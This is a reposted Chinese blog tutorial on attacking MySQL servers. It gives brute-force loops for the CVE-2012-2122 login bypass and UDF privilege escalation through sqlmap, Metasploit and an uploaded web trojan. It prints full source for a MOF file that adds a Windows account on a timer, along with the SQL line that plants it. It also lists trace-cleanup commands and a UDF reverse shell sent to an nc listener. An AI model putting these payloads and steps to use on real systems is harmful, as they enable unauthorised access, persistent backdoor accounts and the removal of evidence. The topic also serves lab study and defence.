mysql数据库漏洞利用及提权方式小结(转)

CVE-2012-2122 Mysql身份认证漏洞

影响版本

Mysql5.5.24之前
MariaDB也差不多这个版本之前

漏洞原理

只要知道用户名,不断尝试就能够直接登入SQL数据库,按照公告说法大约256次就能够蒙对一次

漏洞复现

msf利用

img
hash解密
img
得到密码即可登录
img

python exp

1
2
3
4
5
#!/usr/bin/python
import subprocess

while 1:
subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()

img

shell exp

1
for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

img

Mysql UDF提权

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用sqlmap进行UDF提权

img

利用msf进行UDF提权

使用mysql_udf_payload模块
适应于5.5.9以下,我这边的mysql版本号为5.5.53,已经超出了版本限制,所以不能提权

手工UDF提权

这里上传使用暗月的木马
img
这作者牛逼牛逼
登录进去,它会自动判断mysql版本决定出导出dll文件位置
img
然后导出udf,发现没有plugin这个目录
img
于是我们创建后就能成功导出
img
但是一直找不到文件。。,
最后使用其它的udf提权文件发现可以,原来是这个udf文件问题,这下便能执行命令
img
添加管理员,开启3389等。。这里就略过
既然知道了mysql账号密码当然也可以直接连接上去,然后上传文件,执行命令

Mysql MOF提权

直接上传文件MOF提权

直接上传mof.php文件登录后执行任意命令
img
img

利用msf进行MOF提权

使用mysql_mof模块,有的版本不能成功,比如我现在这个phpstudy搭建的5.5.53

上传nullevt.mof文件进行MOF提权

nullevt.mof文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

他会每五秒创建一个账户ghtwf011,里面命令可以自定义
使用sql语句将文件导入到c:/windows/system32/wbem/mof/

1
select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

注意这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据
img
成功生成了ghtwf011账户
img
因为每五秒都会生成账户,痕迹清理的时候使用如下办法即可

1
2
3
4
net stop winmgmt
net user ghtwf011 /delete
切换到c:/windows/system32/wbem后del repository
net start winmgmt

Mysql反弹端口提权

原理就是声明一个backdoor函数
exp如下,exp太长了文章发不出来。。我附件出来吧

第二条定义的@audf.dll内容的16进制
依次执行命令
kali使用nc监听,这边执行select backshell("192.168.0.12",4444);
img
img
成功提权拿到shell

参考链接

https://www.freebuf.com/vuls/3815.html
https://xz.aliyun.com/t/2719#toc-14

phpmyadminhttp://mp.weixin.qq.com/s?__biz=MzA4Mjk5NjU3MA==&mid=2455456499&idx=1&sn=b9508e1152caa104f9c153ccf6743e87&chksm=8852d6c6bf255fd0a5044c996044c0cd2a9875acf644a1f901c35fc8a2b9c87e739acdb0bfa5&mpshare=1&scene=23&srcid=09263yMtXVlc9ECBa4WsbXEF&sharer_sharetime=1604567980151&sharer_shareid=5c34ea9eacb30dd992454894a04902a5#rd

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器